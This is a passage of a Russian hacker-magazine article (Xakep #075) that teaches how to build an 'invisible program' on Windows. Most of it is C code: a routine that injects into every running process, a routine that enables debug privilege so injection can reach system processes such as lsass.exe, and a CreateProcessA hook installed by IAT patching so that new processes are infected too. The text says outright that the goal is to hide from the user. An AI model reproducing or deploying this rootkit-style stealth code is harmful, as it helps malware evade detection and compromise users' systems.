Программа-невидимка Николай "GorluM" Андреев Хакер, номер #075, стр. 075-110-3 BOOL WINAPI InjectAndRunAll(DWORD (WINAPI *func)(LPVOID)) { BOOL ret, flag = TRUE; HANDLE m_Snap = INVALID_HANDLE_VALUE; PROCESSENTRY32 pe = {sizeof(pe)}; // EnableDebugPrivilege(true); m_Snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,NULL); if (m_Snap == INVALID_HANDLE_VALUE) return NULL; if (!Process32First(m_Snap, &pe)) return NULL; do { if (pe.th32ProcessID == GetCurrentProcessId()) continue; ret = InjectAndRun(func,pe.th32ProcessID); } while (Process32Next(m_Snap, &pe)); // EnableDebugPrivilege(false); return NULL; } Обрати внимание на закомментированные строки вызова функции EnableDebugPrivilege. Дело в том, что для полной уверенности, что пользователь нас не заметит в системе, нужно инжектироваться и в системные процессы вроде lsass.exe, доступ в которые обычным приложениям запрещен. Функция EnableDebugPrivilege просто даст нам необходимые для этого привилегии (SE_DEBUG_NAME). Привилегии отладчика у нас в кармане BOOL WINAPI EnableDebugPrivilege(bool fEnable) { HANDLE hToken; BOOL ret; if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) return FALSE; TOKEN_PRIVILEGES tp; tp.PrivilegeCount = 1; ret = LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid); if (!ret) return FALSE; tp.Privileges[0].Attributes = fEnable ? SE_PRIVILEGE_ENABLED : 0; ret = AdjustTokenPrivileges(hToken, false, &tp, sizeof(tp), NULL, NULL); if (!ret) return FALSE; CloseHandle(hToken); return TRUE; } Но, так как мы не воспользовались хуком для внедрения кода, нам придется самим позаботиться о всех процессах, созданных уже после глобального инжектирования. Самым разумным было просто перехватить функции CreateProcessA и CreateProcessW (ANSI и UNICODE версии), чтобы получить данные о свежесозданном процессе и инжектировать в него свой код. Для этого напишем функцию перехватчик примерно вот так: BOOL WINAPI xCreateProcessA(LPCSTR lpApplicationName, LPSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCSTR lpCurrentDirectory, LPSTARTUPINFOA lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation) { BOOL ret = CreateProcessA(lpApplicationName, lpCommandLine, lpProcessAttributes,lpThreadAttributes, bInheritHandles, dwCreationFlags, lpEnvironment, lpCurrentDirectory, lpStartupInfo, lpProcessInformation); BOOL b = InjectAndRun(FStealth, lpProcessInformation->dwProcessId); return ret; } Как видишь, она объявляется абсолютно также как и оригинал, запускает сама перехватываемую функцию, получает pid процесса, ижектирует в него свой код и возвращает результат вызвавшей ее программе. Как реализацию перехвата API методом модификации таблицы импорта я вначале использовал функцию Рихтера, но чем больше разбирался с проблемой, тем больше ее модифицировал - в итоге осталось одно название и смысл: ReplaceIATEntryInAllMods("kernel32.dll", GetProcAddress( GetModuleHandle("kernel32.dll"), "CreateProcessA"), (PROC)xCreateProcessA); |